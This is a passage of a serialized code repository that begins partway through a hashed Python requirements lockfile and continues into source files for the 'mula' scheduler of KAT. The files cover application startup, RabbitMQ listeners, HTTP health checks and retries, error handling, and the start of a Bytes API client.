--hash=sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049\n    # via alembic\ntyping-extensions==4.15.0 \\\n    --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \\\n    --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548\n    # via\n    #   alembic\n    #   anyio\n    #   asgiref\n    #   exceptiongroup\n    #   fastapi\n    #   grpcio\n    #   opentelemetry-api\n    #   opentelemetry-exporter-otlp-proto-grpc\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\n    #   pydantic\n    #   pydantic-core\n    #   sqlalchemy\n    #   starlette\n    #   structlog\n    #   typing-inspection\n    #   uvicorn\ntyping-inspection==0.4.2 \\\n    --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \\\n    --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464\n    # via\n    #   fastapi\n    #   pydantic\n    #   pydantic-settings\nuvicorn==0.29.0 \\\n    --hash=sha256:2c2aac7ff4f4365c206fd773a39bf4ebd1047c238f8b8268ad996829323473de \\\n    --hash=sha256:6a69214c0b6a087462412670b3ef21224fa48cae0e452b5883e8e8bdfdd11dd0\n    # via mula\nwrapt==2.1.2 \\\n    --hash=sha256:08ffa54146a7559f5b8df4b289b46d963a8e74ed16ba3687f99896101a3990c5 \\\n    --hash=sha256:0fc04bc8664a8bc4c8e00b37b5355cffca2535209fba1abb09ae2b7c76ddf82b \\\n    --hash=sha256:1370e516598854e5b4366e09ce81e08bfe94d42b0fd569b88ec46cc56d9164a9 \\\n    --hash=sha256:162e4e2ba7542da9027821cb6e7c5e068d64f9a10b5f15512ea28e954893a267 \\\n    --hash=sha256:16997dfb9d67addc2e3f41b62a104341e80cac52f91110dece393923c0ebd5ca \\\n    --hash=sha256:1c51c738d7d9faa0b3601708e7e2eda9bf779e1b601dce6c77411f2a1b324a63 \\\n    --hash=sha256:1c6cc827c00dc839350155f316f1f8b4b0c370f52b6a19e782e2bda89600c7dc \\\n    --hash=sha256:2b8b28e97a44d21836259739ae76284e180b18abbb4dcfdff07a415cf1016c3e \\\n    --hash=sha256:2d3ff4f0024dd224290c0eabf0240f1bfc1f26363431505fb1b0283d3b08f11d \\\n    --hash=sha256:3144b027ff30cbd2fca07c0a87e67011adb717eb5f5bd8496325c17e454257a3 \\\n    --hash=sha256:3278c471f4468ad544a691b31bb856374fbdefb7fee1a152153e64019379f015 \\\n    --hash=sha256:3769a77df8e756d65fbc050333f423c01ae012b4f6731aaf70cf2bef61b34596 \\\n    --hash=sha256:3969c56e4563c375861c8df14fa55146e81ac11c8db49ea6fb7f2ba58bc1ff9a \\\n    --hash=sha256:3996a67eecc2c68fd47b4e3c564405a5777367adfd9b8abb58387b63ee83b21e \\\n    --hash=sha256:3b8d15e52e195813efe5db8cec156eebe339aaf84222f4f4f051a6c01f237ed7 \\\n    --hash=sha256:3beb22f674550d5634642c645aba4c72a2c66fb185ae1aebe1e955fae5a13baf \\\n    --hash=sha256:3d7b6fd105f8b24e5bd23ccf41cb1d1099796524bcc6f7fbb8fe576c44befbc9 \\\n    --hash=sha256:4006c351de6d5007aa33a551f600404ba44228a89e833d2fadc5caa5de8edfbf \\\n    --hash=sha256:467e7c76315390331c67073073d00662015bb730c566820c9ca9b54e4d67fd04 \\\n    --hash=sha256:4b7a86d99a14f76facb269dc148590c01aaf47584071809a70da30555228158c \\\n    --hash=sha256:4bdf26e03e6d0da3f0e9422fd36bcebf7bc0eeb55fdf9c727a09abc6b9fe472e \\\n    --hash=sha256:5681123e60aed0e64c7d44f72bbf8b4ce45f79d81467e2c4c728629f5baf06eb \\\n    --hash=sha256:577dff354e7acd9d411eaf4bfe76b724c89c89c8fc9b7e127ee28c5f7bcb25b6 \\\n    --hash=sha256:57d7c0c980abdc5f1d98b11a2aa3bb159790add80258c717fa49a99921456d90 \\\n    --hash=sha256:5a0a0a3a882393095573344075189eb2d566e0fd205a2b6414e9997b1b800a8b \\\n    --hash=sha256:5c35b5d82b16a3bc6e0a04349b606a0582bc29f573786aebe98e0c159bc48db6 \\\n    --hash=sha256:62503ffbc2d3a69891cf29beeaccdb4d5e0a126e2b6a851688d4777e01428dbb \\\n    --hash=sha256:6433ea84e1cfacf32021d2a4ee909554ade7fd392caa6f7c13f1f4bf7b8e8748 \\\n    --hash=sha256:64a07a71d2730ba56f11d1a4b91f7817dc79bc134c11516b75d1921a7c6fcda1 \\\n    --hash=sha256:6de1a3851c27e0bd6a04ca993ea6f80fc53e6c742ee1601f486c08e9f9b900a9 \\\n    --hash=sha256:6f2c5390460de57fa9582bc8a1b7a6c86e1a41dfad74c5225fc07044c15cc8d1 \\\n    --hash=sha256:6f8dbdd3719e534860d6a78526aafc220e0241f981367018c2875178cf83a413 \\\n    --hash=sha256:6f97edc9842cf215312b75fe737ee7c8adda75a89979f8e11558dfff6343cc4b \\\n    --hash=sha256:72aaa9d0d8e4ed0e2e98019cea47a21f823c9dd4b43c7b77bba6679ffcca6a00 \\\n    --hash=sha256:76405518ca4e1b76fbb1b9f686cff93aebae03920cc55ceeec48ff9f719c5f67 \\\n    --hash=sha256:767c0dbbe76cae2a60dd2b235ac0c87c9cccf4898aef8062e57bead46b5f6894 \\\n    --hash=sha256:776867878e83130c7a04237010463372e877c1c994d449ca6aaafeab6aab2586 \\\n    --hash=sha256:787fd6f4d67befa6fe2abdffcbd3de2d82dfc6fb8a6d850407c53332709d030b \\\n    --hash=sha256:79847b83eb38e70d93dc392c7c5b587efe65b3e7afcc167aa8abd5d60e8761c8 \\\n    --hash=sha256:7dfa9f2cf65d027b951d05c662cc99ee3bd01f6e4691ed39848a7a5fffc902b2 \\\n    --hash=sha256:84ce8f1c2104d2f6daa912b1b5b039f331febfeee74f8042ad4e04992bd95c8f \\\n    --hash=sha256:866abdbf4612e0b34764922ef8b1c5668867610a718d3053d59e24a5e5fcfc15 \\\n    --hash=sha256:96159a0ee2b0277d44201c3b5be479a9979cf154e8c82fa5df49586a8e7679bb \\\n    --hash=sha256:970d57ed83fa040d8b20c52fe74a6ae7e3775ae8cff5efd6a81e06b19078484c \\\n    --hash=sha256:98ba61833a77b747901e9012072f038795de7fc77849f1faa965464f3f87ff2d \\\n    --hash=sha256:9c691a6bc752c0cc4711cc0c00896fcd0f116abc253609ef64ef930032821842 \\\n    --hash=sha256:a76d61a2e851996150ba0f80582dd92a870643fa481f3b3846f229de88caf044 \\\n    --hash=sha256:a819e39017f95bf7aede768f75915635aa8f671f2993c036991b8d3bfe8dbb6f \\\n    --hash=sha256:a8914c754d3134a3032601c6984db1c576e6abaf3fc68094bb8ab1379d75ff92 \\\n    --hash=sha256:a9372fc3639a878c8e7d87e1556fa209091b0a66e912c611e3f833e2c4202be2 \\\n    --hash=sha256:a93cd767e37faeddbe07d8fc4212d5cba660af59bdb0f6372c93faaa13e6e679 \\\n    --hash=sha256:a9b9d50c9af998875a1482a038eb05755dfd6fe303a313f6a940bb53a83c3f18 \\\n    --hash=sha256:a9dd9813825f7ecb018c17fd147a01845eb330254dff86d3b5816f20f4d6aaf8 \\\n    --hash=sha256:b89f095fe98bc12107f82a9f7d570dc83a0870291aeb6b1d7a7d35575f55d98a \\\n    --hash=sha256:b8fd6fa2b2c4e7621808f8c62e8317f4aae56e59721ad933bac5239d913cf0e8 \\\n    --hash=sha256:bbac24d879aa22998e87f6b3f481a5216311e7d53c7db87f189a7a0266dafffb \\\n    --hash=sha256:c0be8b5a74c5824e9359b53e7e58bef71a729bacc82e16587db1c4ebc91f7c5a \\\n    --hash=sha256:c20b757c268d30d6215916a5fa8461048d023865d888e437fab451139cad6c8e \\\n    --hash=sha256:c7e6cd120ef837d5b6f860a6ea3745f8763805c418bb2f12eeb1fa6e25f22d22 \\\n    --hash=sha256:c87cf3f0c85e27b3ac7d9ad95da166bf8739ca215a8b171e8404a2d739897a45 \\\n    --hash=sha256:c8e46ae8e4032792eb2f677dbd0d557170a8e5524d22acc55199f43efedd39bf \\\n    --hash=sha256:cef91c95a50596fcdc31397eb6955476f82ae8a3f5a8eabdc13611b60ee380ba \\\n    --hash=sha256:d1c5fea4f9fe3762e2b905fdd67df51e4be7a73b7674957af2d2ade71a5c075d \\\n    --hash=sha256:d307aa6888d5efab2c1cde09843d48c843990be13069003184b67d426d145394 \\\n    --hash=sha256:d8f7740e1af13dff2684e4d56fe604a7e04d6c94e737a60568d8d4238b9a0c71 \\\n    --hash=sha256:da1f00a557c66225d53b095a97eace0fc5349e3bfda28fa34ffae238978ee575 \\\n    --hash=sha256:dad63212b168de8569b1c512f4eac4b57f2c6934b30df32d6ee9534a79f1493f \\\n    --hash=sha256:de9f1a2bbc5ac7f6012ec24525bdd444765a2ff64b5985ac6e0692144838542e \\\n    --hash=sha256:e3d3b35eedcf5f7d022291ecd7533321c4775f7b9cd0050a31a68499ba45757c \\\n    --hash=sha256:e6ed62c82ddf58d001096ae84ce7f833db97ae2263bff31c9b336ba8cfe3f508 \\\n    --hash=sha256:eba8155747eb2cae4a0b913d9ebd12a1db4d860fc4c829d7578c7b989bd3f2f0 \\\n    --hash=sha256:f01277d9a5fc1862f26f7626da9cf443bebc0abd2f303f41c5e995b15887dabd \\\n    --hash=sha256:f29c827a8d9936ac320746747a016c4bc66ef639f5cd0d32df24f5eacbf9c69f \\\n    --hash=sha256:f3b7d73012ea75aee5844de58c88f44cf62d0d62711e39da5a82824a7c4626a8 \\\n    --hash=sha256:f8bc1c264d8d1cf5b3560a87bbdd31131573eb25f9f9447bb6252b8d4c44a3a1 \\\n    --hash=sha256:f8fba1bae256186a83d1875b2b1f4e2d1242e8fac0f58ec0d7e41b26967b965c \\\n    --hash=sha256:fab036efe5464ec3291411fabb80a7a39e2dd80bae9bcbeeca5087fdfa891e19 \\\n    --hash=sha256:ff2aad9c4cda28a8f0653fc2d487596458c2a3f475e56ba02909e950a9efa6a9 \\\n    --hash=sha256:ff95d4264e55839be37bafe1536db2ab2de19da6b65f9244f01f332b5286cfbf\n    # via\n    #   mula\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-httpx\nzipp==3.23.1 \\\n    --hash=sha256:0b3596c50a5c700c9cb40ba8d86d9f2cc4807e9bedb06bcdf7fac85633e444dc \\\n    --hash=sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110\n    # via importlib-metadata\n"
  },
  {
    "path": "mula/scheduler/__init__.py",
    "content": "from .app import App\nfrom .version import __version__\n\n__all__ = [\"App\", \"__version__\"]\n"
  },
  {
    "path": "mula/scheduler/__main__.py",
    "content": "from scheduler import context\n\nfrom . import App\n\nif __name__ == \"__main__\":\n    app = App(context.AppContext())\n    app.run()\n"
  },
  {
    "path": "mula/scheduler/app.py",
    "content": "import os\nimport threading\n\nimport structlog\nfrom opentelemetry import trace\n\nfrom scheduler import context, schedulers, server\nfrom scheduler.utils import thread\n\ntracer = trace.get_tracer(__name__)\n\n\nclass App:\n    \"\"\"Main application definition for the scheduler implementation of KAT.\n\n    The App is responsible for starting and managing:\n\n        * Schedulers: The schedulers are responsible for managing the queues\n        and tasks for a specific organisation.\n\n        * Server: The server is responsible for exposing the application\n        through a REST API.\n\n        * Metrics: The collection of application specific metrics.\n    \"\"\"\n\n    def __init__(self, ctx: context.AppContext) -> None:\n        \"\"\"Initialize the application.\n\n        Args:\n            ctx (context.AppContext): Application context of shared data (e.g.\n                configuration, external services connections).\n        \"\"\"\n\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.ctx: context.AppContext = ctx\n        self.server: server.Server | None = None\n\n        threading.excepthook = self._unhandled_exception\n        self.stop_event: threading.Event = threading.Event()\n        self.lock: threading.Lock = threading.Lock()\n\n        self.schedulers: dict[\n            str,\n            schedulers.Scheduler\n            | schedulers.BoefjeScheduler\n            | schedulers.NormalizerScheduler\n            | schedulers.ReportScheduler,\n        ] = {}\n\n    def run(self) -> None:\n        \"\"\"Start the main scheduler application, and run in threads the\n        following processes:\n\n            * schedulers\n            * metrics collecting\n            * api server\n        \"\"\"\n        self.start_schedulers()\n        self.start_server(self.schedulers)\n\n        if self.ctx.config.collect_metrics:\n            self.start_collectors()\n\n        # Main thread\n        while not self.stop_event.is_set():\n            self.stop_event.wait()\n\n        # When the stop event is set, we want to gracefully shutdown the\n        # rest of the application.\n        self.shutdown()\n\n        # We're calling this here, because we want to issue a shutdown from\n        # within a thread, otherwise it will not exit a docker container.\n        # Source: https://stackoverflow.com/a/1489838/1346257\n        os._exit(1)\n\n    def start_schedulers(self) -> None:\n        boefje = schedulers.BoefjeScheduler(ctx=self.ctx)\n        self.schedulers[boefje.scheduler_id] = boefje\n\n        normalizer = schedulers.NormalizerScheduler(ctx=self.ctx)\n        self.schedulers[normalizer.scheduler_id] = normalizer\n\n        report = schedulers.ReportScheduler(ctx=self.ctx)\n        self.schedulers[report.scheduler_id] = report\n\n        for s in self.schedulers.values():\n            s.run()\n\n    def start_server(\n        self,\n        schedulers: dict[\n            str,\n            schedulers.Scheduler\n            | schedulers.BoefjeScheduler\n            | schedulers.NormalizerScheduler\n            | schedulers.ReportScheduler,\n        ],\n    ) -> None:\n        self.server = server.Server(self.ctx, schedulers)\n        thread.ThreadRunner(name=\"App-server\", target=self.server.run, stop_event=self.stop_event, loop=False).start()\n\n    def start_collectors(self) -> None:\n        thread.ThreadRunner(\n            name=\"App-metrics_collector\", target=self._collect_metrics, stop_event=self.stop_event, interval=10\n        ).start()\n\n    def shutdown(self) -> None:\n        \"\"\"Shutdown the scheduler application, and all threads.\"\"\"\n        self.logger.info(\"Shutdown initiated\")\n\n        self.stop_event.set()\n\n        # Stop all schedulers\n        for s in self.schedulers.values():\n            s.stop()\n\n        # Stop all threads that are still running, except the main thread.\n        # These threads likely have a blocking call and as such are not able\n        # to leverage a stop event.\n        self._stop_threads()\n\n        self.logger.info(\"Shutdown complete\")\n\n    def _stop_threads(self) -> None:\n        \"\"\"Stop all threads, except the main thread.\"\"\"\n        for t in threading.enumerate():\n            if t is threading.current_thread():\n                continue\n\n            if t is threading.main_thread():\n                continue\n\n            if not t.is_alive():\n                continue\n\n            t.join(5)\n\n    def _unhandled_exception(self, args: threading.ExceptHookArgs) -> None:\n        \"\"\"Gracefully shutdown the scheduler application, and all threads\n        when a unhandled exception occurs.\n        \"\"\"\n        self.logger.error(\"Unhandled exception occurred: %s\", args.exc_value)\n        self.stop_event.set()\n\n    def _collect_metrics(self) -> None:\n        \"\"\"Collect application metrics throughout the application.\"\"\"\n        for s in self.schedulers.values():\n            qsize = self.ctx.datastores.pq_store.qsize(s.scheduler_id)\n            self.ctx.metrics_qsize.labels(scheduler_id=s.scheduler_id).set(qsize)\n\n            status_counts = self.ctx.datastores.task_store.get_status_counts(s.scheduler_id)\n            for status, count in status_counts.items():\n                self.ctx.metrics_task_status_counts.labels(scheduler_id=s.scheduler_id, status=status).set(count)\n"
  },
  {
    "path": "mula/scheduler/clients/__init__.py",
    "content": "from .amqp.raw_data import RawData\nfrom .amqp.scan_profile import ScanProfileMutation\nfrom .http.external.bytes import Bytes\nfrom .http.external.katalogus import Katalogus\nfrom .http.external.octopoes import Octopoes\nfrom .http.external.rocky import Rocky\n"
  },
  {
    "path": "mula/scheduler/clients/amqp/__init__.py",
    "content": "from .listeners import Listener, RabbitMQ\nfrom .raw_data import RawData\nfrom .scan_profile import ScanProfileMutation\n\n__all__ = [\"Listener\", \"RabbitMQ\", \"RawData\", \"ScanProfileMutation\"]\n"
  },
  {
    "path": "mula/scheduler/clients/amqp/listeners.py",
    "content": "import functools\nimport socket\nfrom collections.abc import Callable\nfrom concurrent import futures\n\nimport pika\nimport structlog\nfrom retry import retry\n\nfrom ..connector import Connector  # noqa: TID252\n\n\nclass Listener(Connector):\n    \"\"\"The Listener base class interface\n\n    Attributes:\n        name:\n            Identifier of the Listener\n        logger:\n            The logger for the class.\n    \"\"\"\n\n    name: str | None = None\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.logger = structlog.getLogger(__name__)\n\n    def listen(self) -> None:\n        raise NotImplementedError\n\n    def stop(self) -> None:\n        raise NotImplementedError\n\n    def log_future_exceptions(self, fut: futures.Future):\n        exc = fut.exception()\n        if exc:\n            self.logger.exception(\"RabbitMQ Listener task crashed in ThreadPoolExecutor\", exc_info=exc)\n\n\nclass RabbitMQ(Listener):\n    \"\"\"A RabbitMQ Listener implementation that allows subclassing of specific\n    RabbitMQ channel listeners. You can subclass this class and set the\n    channel and procedure that needs to be dispatched when receiving messages\n    from a RabbitMQ queue.\n\n    To combat potential dropping of AMQP/stream connections due to AMQP heartbeat\n    timeouts, due to long running tasks, we will delegate processing of the\n    incoming message to another thread, while the connection adapter’s thread\n    continues to service its I/O loop’s message pump, permitting AMQP heartbeats\n    and other I/O to be serviced in a timely fashion.\n\n    Sources:\n        - https://pika.readthedocs.io/en/stable/modules/adapters/index.html#requesting-message-acknowledgements-from-another-thread\n        - https://pika.readthedocs.io/en/stable/examples/heartbeat_and_blocked_timeouts.html\n        - https://github.com/pika/pika/blob/main/examples/basic_consumer_threaded.py\n\n    Attributes:\n        dsn:\n            A string defining the data source name of the RabbitMQ host to\n            connect to.\n        queue:\n            A string defining the queue to listen to.\n        durable:\n            A boolean defining if the queue should be durable.\n        prefetch_count:\n            An integer defining the prefetch count.\n        func:\n            A callable that will be called when a message is received.\n        executor:\n            A concurrent.futures.ThreadPoolExecutor instance.\n        connection:\n            A pika.BlockingConnection instance.\n        channel:\n            A pika.BlockingConnection.channel instance.\n    \"\"\"\n\n    def __init__(self, dsn: str, queue: str, func: Callable, durable: bool = True, prefetch_count: int = 1) -> None:\n        \"\"\"Initialize the RabbitMQ Listener\n\n        Args:\n            dsn:\n                A string defining the data source name of the RabbitMQ host to\n                connect to.\n            queue:\n                A string defining the queue to listen to.\n            func:\n                A callable that will be called when a message is received.\n            durable:\n                A boolean defining if the queue should be durable.\n            prefetch_count:\n                An integer defining the prefetch count.\n        \"\"\"\n        super().__init__()\n\n        self.dsn: str = dsn\n        self.queue: str = queue\n        self.durable: bool = durable\n        self.prefetch_count: int = prefetch_count\n        self.func: Callable = func\n\n        self.executor: futures.ThreadPoolExecutor = futures.ThreadPoolExecutor(\n            max_workers=10, thread_name_prefix=f\"TPE-Listener-{self.__class__.__name__}\"\n        )\n\n        self.connection: pika.BlockingConnection | None = None\n        self.channel: pika.BlockingConnection.channel | None = None\n        self.connect(self.queue, self.durable, self.prefetch_count)\n\n    def listen(self) -> None:\n        self.basic_consume(self.queue, self.durable, self.prefetch_count)\n\n    @retry((pika.exceptions.AMQPConnectionError, socket.gaierror), delay=5, jitter=(1, 3), tries=5)\n    def connect(self, queue: str, durable: bool, prefetch_count: int) -> None:\n        \"\"\"Connect to the RabbitMQ host and declare the queue.\"\"\"\n        try:\n            self.connection = pika.BlockingConnection(pika.URLParameters(self.dsn))\n        except pika.exceptions.AMQPConnectionError as exc:\n            self.logger.error(\"AMQPConnectionError: %s\", exc)\n            raise exc\n\n        try:\n            self.channel = self.connection.channel()\n            self.channel.queue_declare(queue=queue, durable=durable)\n        except pika.exceptions.ChannelClosedByBroker as exc:\n            if \"inequivalent arg 'durable'\" in exc.reply_text:\n                # Queue changed from non-durable to durable. Given that\n                # previously they weren't durable and contents would also be\n                # lost if RabbitMQ restarted, we will just delete the queue and\n                # recreate it to provide for a smooth upgrade.\n                self.channel = self.connection.channel()\n                self.channel.queue_delete(queue=queue)\n                self.channel.queue_declare(queue=queue, durable=durable)\n            else:\n                raise\n\n        self.logger.debug(\"Connected to RabbitMQ\", dsn=self.dsn, queue=queue)\n\n    @retry(\n        (\n            pika.exceptions.AMQPConnectionError,\n            pika.exceptions.ConnectionClosedByBroker,\n            pika.exceptions.AMQPHeartbeatTimeout,\n        ),\n        delay=5,\n        jitter=(1, 3),\n        tries=5,\n    )\n    def basic_consume(self, queue: str, durable: bool, prefetch_count: int) -> None:\n        if self.connection and self.connection.is_closed:\n            self.connect(queue, durable, prefetch_count)\n\n        if not self.channel:\n            raise RuntimeError(\"No channel available to consume messages on!\")\n\n        if not self.connection:\n            raise RuntimeError(\"No connection available to consume messages on!\")\n\n        try:\n            self.channel.basic_qos(prefetch_count=prefetch_count)\n            self.channel.basic_consume(queue, on_message_callback=self.callback)\n\n            # Blocking call that processes the messages\n            self.channel.start_consuming()\n        except pika.exceptions.AMQPError as exc:\n            self.logger.error(\"AMQPError: %s\", exc)\n            raise exc\n        except Exception as exc:\n            self.logger.error(\"Error consuming messages: %s\", exc)\n            raise exc\n\n    def callback(\n        self,\n        channel: pika.channel.Channel,\n        method: pika.spec.Basic.Deliver,\n        properties: pika.spec.BasicProperties,\n        body: bytes,\n    ) -> None:\n        \"\"\"Callback function that is called when a message is received on the\n        queue.\n        \"\"\"\n        self.logger.debug(\n            \"Received message on queue %s\", method.routing_key, routing_key=method.routing_key, message=body\n        )\n\n        # Submit the message to the thread pool executor\n        future = self.executor.submit(self.dispatch, channel, method.delivery_tag, body)\n        future.add_done_callback(self.log_future_exceptions)\n\n    def dispatch(self, channel: pika.channel.Channel, delivery_tag: int, body: bytes) -> None:\n        # Check if we still have a connection\n        if self.connection is None or self.connection.is_closed:\n            self.logger.debug(\"No connection available, cannot dispatch message!\")\n            return\n\n        # Check if we still have a channel\n        if self.channel is None or self.channel.is_closed:\n            self.logger.debug(\"No channel available, cannot dispatch message!\")\n            return\n\n        # Call the function\n        self.func(body)\n\n        # Acknowledge the message\n        self.connection.add_callback_threadsafe(functools.partial(self.ack_message, channel, delivery_tag))\n\n    def ack_message(self, channel, delivery_tag):\n        if channel.is_open:\n            channel.basic_ack(delivery_tag)\n        else:\n            # Channel is already closed, so we can't ack this message\n            self.logger.debug(\"Channel already closed, cannot ack message!\")\n\n    def stop(self) -> None:\n        self.logger.debug(\"Stopping RabbitMQ connection\")\n\n        self.executor.shutdown(wait=True)\n\n        if not self.connection:\n            self.logger.debug(\"No connection available to stop\")\n            return\n\n        if self.connection.is_closed:\n            self.logger.debug(\"Connection already closed\")\n            return\n\n        # When there is still an open connection, close the connection\n        # and the channel. Using the `add_callback_threadsafe` method\n        # ensures that the close can be done from any thread.\n        try:\n            self.connection.add_callback_threadsafe(self._close_callback)\n        except Exception as exc:\n            self.logger.error(\"Error closing RabbitMQ connection: %s\", exc)\n\n        self.logger.debug(\"RabbitMQ connection closed\")\n\n    def _close_callback(self):\n        if self.channel:\n            # Cancels all consumers, signalling the start_consuming loop to exit.\n            self.channel.stop_consuming()\n\n            self.channel.close()\n\n        if self.connection:\n            self.connection.close()\n"
  },
  {
    "path": "mula/scheduler/clients/amqp/raw_data.py",
    "content": "from .listeners import RabbitMQ\n\n\nclass RawData(RabbitMQ):\n    \"\"\"The RawData listener class that listens to the raw data queue and calls\n    the function passed to it. This is used within the NormalizerScheduler.\n    \"\"\"\n\n    pass\n"
  },
  {
    "path": "mula/scheduler/clients/amqp/scan_profile.py",
    "content": "from .listeners import RabbitMQ\n\n\nclass ScanProfileMutation(RabbitMQ):\n    \"\"\"The ScanProfileMutation listener class that listens to the scan profile\n    mutation queue and calls the function passed to it. This is used within the\n    BoefjeScheduler.\n    \"\"\"\n\n    pass\n"
  },
  {
    "path": "mula/scheduler/clients/connector.py",
    "content": "import socket\nimport time\nfrom collections.abc import Callable\nfrom typing import Any\n\nimport httpx\nimport structlog\n\n\nclass Connector:\n    \"\"\"A class that provides methods to check if a host is available and healthy.\"\"\"\n\n    def __init__(self):\n        self.logger = structlog.getLogger(self.__class__.__name__)\n\n    def is_host_available(self, hostname: str, port: int) -> bool:\n        \"\"\"Check if the host is available.\n\n        Args:\n            hostname: A string representing the hostname.\n            port: An integer representing the port number.\n\n        Returns:\n            A boolean\n        \"\"\"\n        try:\n            socket.create_connection((hostname, port))\n            return True\n        except OSError:\n            return False\n\n    def is_host_healthy(self, host: str, health_endpoint: str) -> bool:\n        \"\"\"Check if host is healthy by inspecting the host's health endpoint.\n\n        Args:\n            host: A string representing the hostname.\n            health_endpoint: A string representing the health endpoint.\n\n        Returns:\n            A boolean\n        \"\"\"\n        try:\n            url = f\"{host}/{health_endpoint}\"\n            response = httpx.get(url, timeout=5)\n            healthy = response.json().get(\"healthy\")\n            return healthy\n        except httpx.HTTPError as exc:\n            self.logger.warning(\"Exception: %s\", exc)\n            return False\n\n    def retry(self, func: Callable, *args: Any, **kwargs: Any) -> bool:\n        \"\"\"Retry a function until it returns True.\n\n        Args:\n            func: A python callable that needs to be retried.\n\n        Returns:\n            A boolean signifying whether or not the func was executed successfully.\n        \"\"\"\n        for i in range(10):\n            if func(*args, **kwargs):\n                self.logger.info(\n                    \"Function %s, executed successfully. Retry count: %d\",\n                    func.__name__,\n                    i,\n                    name=func.__name__,\n                    args=args,\n                    kwargs=kwargs,\n                )\n                return True\n\n            self.logger.warning(\n                \"Function %s, failed. Retry count: %d\", func.__name__, i, name=func.__name__, args=args, kwargs=kwargs\n            )\n\n            time.sleep(10)\n\n        return False\n"
  },
  {
    "path": "mula/scheduler/clients/errors.py",
    "content": "import functools\n\nimport httpx\nimport pydantic\n\n\nclass ExternalServiceError(Exception):\n    pass\n\n\nclass ExternalServiceConnectionError(ExternalServiceError):\n    pass\n\n\nclass ExternalServiceResponseError(ExternalServiceError):\n    def __init__(self, message: str, response: httpx.Response):\n        super().__init__(message)\n        self.response = response\n\n\nclass ExternalServiceValidationError(ExternalServiceError):\n    pass\n\n\ndef exception_handler(func):\n    @functools.wraps(func)\n    def inner_function(*args, **kwargs):\n        try:\n            return func(*args, **kwargs)\n        except httpx.HTTPStatusError as exc:\n            raise ExternalServiceResponseError(\n                f\"External service returned an error: {str(exc)}\", response=exc.response\n            ) from exc\n        except httpx.ConnectError as exc:\n            raise ExternalServiceConnectionError(\"External service is not available.\") from exc\n        except pydantic.ValidationError as exc:\n            raise ExternalServiceValidationError(\"Validation error occurred.\") from exc\n        except Exception as exc:\n            raise ExternalServiceError(\"External service returned an error.\") from exc\n\n    return inner_function\n"
  },
  {
    "path": "mula/scheduler/clients/http/__init__.py",
    "content": "from .client import HTTPClient\nfrom .service import HTTPService\n"
  },
  {
    "path": "mula/scheduler/clients/http/client.py",
    "content": "import socket\nimport time\nfrom collections.abc import Callable\n\nimport httpx\nimport structlog\n\n\nclass HTTPClient:\n    \"\"\"A class that provides methods to check if a host is available and healthy.\"\"\"\n\n    def __init__(self):\n        self.logger = structlog.get_logger(self.__class__.__name__)\n\n    def is_host_available(self, hostname: str, port: int) -> bool:\n        \"\"\"Check if the host is available.\n\n        Args:\n            hostname: A string representing the hostname.\n            port: An integer representing the port number.\n\n        Returns:\n            A boolean\n        \"\"\"\n        try:\n            socket.create_connection((hostname, port))\n            return True\n        except OSError:\n            return False\n\n    def is_host_healthy(self, host: str, health_endpoint: str) -> bool:\n        \"\"\"Check if host is healthy by inspecting the host's health endpoint.\n\n        Args:\n            host: A string representing the hostname.\n            health_endpoint: A string representing the health endpoint.\n\n        Returns:\n            A boolean\n        \"\"\"\n        try:\n            url = f\"{host}/{health_endpoint}\"\n            response = httpx.get(url, timeout=5)\n            healthy = response.json().get(\"healthy\")\n            return healthy\n        except httpx.HTTPError as exc:\n            self.logger.warning(\"Exception: %s\", exc)\n            return False\n\n    def retry(self, func: Callable, *args, **kwargs) -> bool:\n        \"\"\"Retry a function until it returns True.\n\n        Args:\n            func: A python callable that needs to be retried.\n\n        Returns:\n            A boolean signifying whether or not the func was executed successfully.\n        \"\"\"\n        for i in range(10):\n            if func(*args, **kwargs):\n                self.logger.info(\n                    \"Function %s, executed successfully. Retry count: %d\",\n                    func.__name__,\n                    i,\n                    name=func.__name__,\n                    args=args,\n                    kwargs=kwargs,\n                )\n                return True\n\n            self.logger.warning(\n                \"Function %s, failed. Retry count: %d\", func.__name__, i, name=func.__name__, args=args, kwargs=kwargs\n            )\n\n            time.sleep(10)\n\n        return False\n"
  },
  {
    "path": "mula/scheduler/clients/http/external/__init__.py",
    "content": ""
  },
  {
    "path": "mula/scheduler/clients/http/external/bytes.py",
    "content": "import threading\nimport typing\nfrom collections.abc import Callable\nfrom functools import wraps\nfrom typing import Any\n\nimport httpx\n\nfrom scheduler.clients.errors import ExternalServiceResponseError, exception_handler\nfrom scheduler.clients.http import HTTPService\nfrom scheduler.models import BoefjeMeta\n\nClientSessionMethod = Callable[..., Any]\n\n\ndef retry_with_login(function: ClientSessionMethod) -> ClientSessionMethod:\n    @wraps(function)\n    def wrapper(self, *args, **kwargs):\n        try:\n            return function(self, *args, **kwargs)\n        except (httpx.HTTPStatusError, ExternalServiceResponseError) as exc:\n            if exc.response.status_code != 401:\n                raise\n\n            self.login()\n            return function(self, *args, **kwargs)\n        except Exception as exc:\n            raise exc\n\n    return typing.cast(ClientSessionMethod, wrapper)\n\n\nclass Bytes(HTTPService):\n    \"\"\"A class that provides methods to interact with the Bytes API.\"\"\"\n\n    name = \"bytes\"\n\n    def __init__(self, host: str, source: str, user: str, password: str, timeout: int, pool_connections: int):\n        \"\"\"Initialize the Bytes service.\n\n        Args:\n            host: A string representing the host.\n            source: A string representing the source.\n            user: A string representing the username.\n            password: A string representing the password.\n            timeout: An integer representing the timeout.\n        \"\"\"\n        self.credentials: dict[str, str] = {\"username\": user, \"password\": password}\n\n        self.lock: threading.Lock = threading.Lock()\n\n        super().__init__(host, source, timeout, pool_connections)\n\n    def login(self) -> None:\n        with self.lock:\n            self.headers.update({\"Authorization\": f\"bearer {self.get_token()}\"})\n\n    @staticmethod\n    def _verify_response(response: httpx.Response) -> None:\n        response.raise_for_status()\n\n    def get_token(self) -> 